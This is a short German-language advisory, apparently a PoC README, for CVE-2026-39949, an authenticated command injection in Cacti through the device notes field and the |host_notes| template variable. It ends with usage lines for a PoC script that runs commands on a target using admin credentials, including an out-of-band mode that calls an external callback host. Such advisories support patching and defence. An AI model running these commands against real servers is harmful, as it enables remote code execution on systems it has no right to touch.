CVE-2026-39949

CVE-2026-39949: Authentifizierte Remote-Codeausführung in Cacti durch Host-Variable-Injection

Zusammenfassung

Eine OS-Befehlsinjektions-Schwachstelle in Cacti ≤ 1.2.30 ermöglicht jedem authentifizierten Benutzer mit Berechtigungen zur Erstellung von Geräten und Graphenvorlagen, beliebige Befehle auf dem zugrunde liegenden Server auszuführen. Der Fehler besteht darin, dass benutzergesteuerte Host-Metadatenfelder (insbesondere das Feld für Gerätenotizen) über die Variablenersetzungs-Engine von Cacti in RRDtool-Befehlszeilenargumente eingesetzt werden, ohne jegliche Bereinigung oder Escaping. Ein Angreifer kann Shell-Metazeichen in das Notizenfeld injizieren, eine Graphenvorlage erstellen, die auf die Variable |host_notes| verweist, und die Graphenerstellung auslösen, um eine vollständige Remote-Codeausführung als Web-Server-Benutzer zu erreichen.

Verwendung:

python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --cmd 'id'

OOB-Befehlsausführung:

python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --oob your.oastify.com